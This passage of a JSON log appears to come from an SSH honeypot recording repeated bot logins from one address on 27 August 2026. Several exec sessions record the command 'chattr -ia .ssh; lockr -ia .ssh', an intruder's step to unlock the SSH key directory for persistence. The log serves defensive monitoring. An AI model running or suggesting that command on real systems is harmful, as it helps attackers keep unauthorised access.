  "id": "604f475b-98ce-4588-a71b-09b89ef05a52",
  "name": "zealous-clever-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 50982,
  "username": "mc",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:36:54.895137+00:00",
  "ended_at": "2026-08-27T07:36:56.236864+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2247
 },
 {
  "id": "2fee04fc-b5c3-4172-ae8c-c1771333cb7d",
  "name": "prickly-blunt-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 52294,
  "username": "mc",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:36:39.037123+00:00",
  "ended_at": "2026-08-27T07:36:40.345841+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "722c4aed-183b-4cb8-896a-d57820aa8f19",
  "name": "brave-serene-hummingbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 51710,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:36:37.267594+00:00",
  "ended_at": "2026-08-27T07:36:38.350728+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "adea8a27-3880-44a8-8881-07ebd64b8168",
  "name": "solemn-upland-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 59684,
  "username": "ugo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:34:54.128378+00:00",
  "ended_at": "2026-08-27T07:34:55.667393+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2242
 },
 {
  "id": "69a7bf5d-54b3-447e-b145-f33b11ca83c5",
  "name": "golden-spirited-skylark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 60826,
  "username": "ugo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:34:37.339676+00:00",
  "ended_at": "2026-08-27T07:34:38.894273+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "790c2672-09c6-4733-ae67-c79d9dcadc5b",
  "name": "woven-upland-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 60108,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:34:35.592403+00:00",
  "ended_at": "2026-08-27T07:34:36.695835+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "00ca3838-07e4-43f2-97b7-a588c7bf3f10",
  "name": "gallant-golden-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 40150,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:32:38.561558+00:00",
  "ended_at": "2026-08-27T07:32:40.464658+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2254
 },
 {
  "id": "ce113b37-2b33-42aa-ac86-b7d491967955",
  "name": "reedy-foggy-shelduck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 41568,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:32:24.643961+00:00",
  "ended_at": "2026-08-27T07:32:25.322854+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eb0d2c49-77f9-43d7-abdf-e0c0eee1c6e7",
  "name": "lofty-vernal-cassowary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 40596,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:32:22.305896+00:00",
  "ended_at": "2026-08-27T07:32:23.996692+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "94ff5a48-3683-4428-9c98-5452bc5b7406",
  "name": "valiant-plush-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 48844,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 368,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:30:31.282669+00:00",
  "ended_at": "2026-08-27T07:30:32.695110+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "d6bc4c42-63c3-415a-9ec6-bfe5b20cf896",
  "name": "zealous-snowy-grebe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 50632,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:30:14.594140+00:00",
  "ended_at": "2026-08-27T07:30:15.601111+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d8794d87-7821-4510-a883-df02e6d08046",
  "name": "loyal-fringed-sandpiper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 49622,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:30:12.111563+00:00",
  "ended_at": "2026-08-27T07:30:13.859899+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "33a416c2-d44e-49ee-b200-ed7af2034aa4",
  "name": "lofty-prickly-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 57532,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 334,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:28:19.250693+00:00",
  "ended_at": "2026-08-27T07:28:21.427591+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "28c648ea-5ff4-488b-87fe-e194c9c0fee1",
  "name": "marbled-eager-ermine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 59002,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:28:02.656948+00:00",
  "ended_at": "2026-08-27T07:28:04.010225+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "922b843b-eee2-42ac-a5ac-4cb889d79dad",
  "name": "balmy-plush-wagtail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 58130,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:28:00.329698+00:00",
  "ended_at": "2026-08-27T07:28:01.953839+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d57e288b-31b9-43ea-8f21-f6def60e9813",
  "name": "indigo-smooth-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 37996,
  "username": "deploy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 371,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:26:09.653360+00:00",
  "ended_at": "2026-08-27T07:26:10.832162+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2265
 },
 {
  "id": "6ec30e45-3dd5-49e4-b54c-c9868c3e882d",
  "name": "canny-jovial-godwit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 39456,
  "username": "deploy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:25:54.722640+00:00",
  "ended_at": "2026-08-27T07:25:55.918226+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d8881cda-4ba4-4ce7-bf11-dc4703f38d23",
  "name": "western-bashful-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 38748,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:25:52.706945+00:00",
  "ended_at": "2026-08-27T07:25:54.016947+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "04f01d6a-7440-4531-9115-1c058db21d70",
  "name": "verdant-civil-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 46694,
  "username": "nfs",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 333,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:24:11.491429+00:00",
  "ended_at": "2026-08-27T07:24:12.531091+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2242
 },
 {
  "id": "2ecd668b-6ea2-4aa0-ae80-5edcf5becf29",
  "name": "hazy-hollow-swallow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 48366,
  "username": "nfs",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:23:55.413630+00:00",
  "ended_at": "2026-08-27T07:23:56.924271+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7846d370-6dad-4d51-a0be-998e2100cf7e",
  "name": "courtly-nautical-petrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 47358,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:23:53.130692+00:00",
  "ended_at": "2026-08-27T07:23:54.710084+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9d5b2901-3556-4c9b-806e-07f5bc37792c",
  "name": "lonesome-vaulted-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 55388,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 334,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:22:10.073480+00:00",
  "ended_at": "2026-08-27T07:22:11.907203+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2289
 },
 {
  "id": "82e057be-a610-40d5-8d0b-c98d89e6dba9",
  "name": "prickly-civil-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 56592,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:21:55.558371+00:00",
  "ended_at": "2026-08-27T07:21:56.537166+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9863428f-bced-4f20-aea6-2649bc725b9c",
  "name": "leafy-forlorn-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 55980,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:21:53.706705+00:00",
  "ended_at": "2026-08-27T07:21:54.900968+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8477a6bd-07cb-4fd4-979f-12cccb1b9c57",
  "name": "gnarled-cosmic-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 35846,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:20:03.763769+00:00",
  "ended_at": "2026-08-27T07:20:05.167051+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2282
 },
 {
  "id": "fa17daf1-5566-456f-92e2-913d87edb24c",
  "name": "hazy-bashful-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 37412,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:19:48.126937+00:00",
  "ended_at": "2026-08-27T07:19:49.938440+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5e963516-6a44-42e0-8df0-43242987f9fb",
  "name": "breezy-bashful-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 36444,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:19:45.833123+00:00",
  "ended_at": "2026-08-27T07:19:47.476906+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0d6118a4-cf5f-4af8-8f8c-79841f70cd52",
  "name": "upland-frank-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 44548,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 324,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:17:58.610375+00:00",
  "ended_at": "2026-08-27T07:17:59.905550+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2212
 },
 {
  "id": "9a7cbdbb-5de0-48b8-b44b-2cba6db49bfb",
  "name": "brave-gritty-godwit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 45696,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:17:41.260647+00:00",
  "ended_at": "2026-08-27T07:17:42.516632+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3f8d533f-21fe-4a07-b54d-e0da1065aa5d",
  "name": "bold-inland-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 45160,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:17:40.001300+00:00",
  "ended_at": "2026-08-27T07:17:40.615172+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c4de592d-d981-43c0-96be-27978e9ac70d",
  "name": "tranquil-lanky-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 53256,
  "username": "testuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:15:48.499839+00:00",
  "ended_at": "2026-08-27T07:15:49.490791+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2205
 },
 {
  "id": "b7d0d2dc-d40f-4c94-ad13-3bf726b7da85",
  "name": "arctic-courtly-turnstone",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 54260,
  "username": "testuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:15:32.690654+00:00",
  "ended_at": "2026-08-27T07:15:34.051447+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f4987519-1b27-4f1c-9a0c-d3033e3fd1bb",
  "name": "downy-vaulted-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 53750,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:15:31.318496+00:00",
  "ended_at": "2026-08-27T07:15:32.043698+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "51612420-ba2f-48c7-a878-ddb7d8c68fa8",
  "name": "rapid-orderly-reindeer",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 33730,
  "username": "florin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:13:39.204725+00:00",
  "ended_at": "2026-08-27T07:13:40.379332+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2202
 },
 {
  "id": "a974f0ed-7264-46c8-9774-9ee755df4b1e",
  "name": "idle-gilded-crane",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 35454,
  "username": "florin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:13:23.999439+00:00",
  "ended_at": "2026-08-27T07:13:24.898171+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a5339fd3-91d8-4c8b-a38b-f499eea5b74f",
  "name": "coastal-quartz-toucan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 34504,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:13:21.502672+00:00",
  "ended_at": "2026-08-27T07:13:23.356078+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "abd3c6b5-7436-4da3-979d-4c48f8db5de7",
  "name": "subtle-steady-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 42436,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 334,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:09:47.536725+00:00",
  "ended_at": "2026-08-27T07:09:49.079769+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2238
 },
 {
  "id": "71faa608-e9ac-47d9-bbb9-3990942fffb1",
  "name": "humble-blazing-hoopoe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 44182,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:09:31.957856+00:00",
  "ended_at": "2026-08-27T07:09:33.601543+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9d0ae2b0-e7d2-4d77-8c97-03eb6652169d",
  "name": "lawful-weathered-hedgehog",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 43016,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:09:29.446307+00:00",
  "ended_at": "2026-08-27T07:09:31.255193+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ca13901f-7aba-45b0-aa2b-12b3ad3bcb7e",
  "name": "plush-snowy-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 51136,
  "username": "lbx",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 351,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:07:42.310502+00:00",
  "ended_at": "2026-08-27T07:07:44.027632+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2171
 },
 {
  "id": "f04f0a91-a0fe-4b2b-ae96-cdaf120942d5",
  "name": "icy-quiet-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 52424,
  "username": "lbx",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:07:27.701479+00:00",
  "ended_at": "2026-08-27T07:07:28.789126+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4821fddf-40cc-4fba-a195-3a8c5d4537b9",
  "name": "crisp-zealous-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 51718,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:07:25.816053+00:00",
  "ended_at": "2026-08-27T07:07:27.001257+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "24b22214-e858-4730-bbcd-b41e935ab9f5",
  "name": "burly-gleaming-shearwater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 59844,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 348,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:05:41.758184+00:00",
  "ended_at": "2026-08-27T07:05:43.200621+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2164
 },
 {
  "id": "3cee7a86-7719-4406-83b9-3cf1558ce46e",
  "name": "leafy-vigilant-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 33216,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:05:25.305640+00:00",
  "ended_at": "2026-08-27T07:05:27.059582+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d646fdb1-4be4-4a38-944b-47480bccfe96",
  "name": "shifting-humble-bison",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 60470,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:05:22.849597+00:00",
  "ended_at": "2026-08-27T07:05:24.594882+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "432ebf80-50b7-4ad3-8d3e-d2a0d938c8d6",
  "name": "ashen-lofty-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 40314,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 334,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:03:36.617750+00:00",
  "ended_at": "2026-08-27T07:03:37.835051+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2205
 },
 {
  "id": "6088c33e-7d2f-49a6-a30c-e9c29a5208f9",
  "name": "rustic-coral-sable",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 41448,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:03:21.500731+00:00",
  "ended_at": "2026-08-27T07:03:22.197216+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "710cce6a-e33a-4cfd-8fa7-0db6556a1922",
  "name": "dusty-sterling-quail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 40898,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:03:20.230259+00:00",
  "ended_at": "2026-08-27T07:03:20.832518+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aaf58b00-0af5-4c4a-8453-752d4e5b8ee0",
  "name": "crisp-gritty-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 49024,
  "username": "steam",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 333,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:01:26.047857+00:00",
  "ended_at": "2026-08-27T07:01:27.467618+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2140
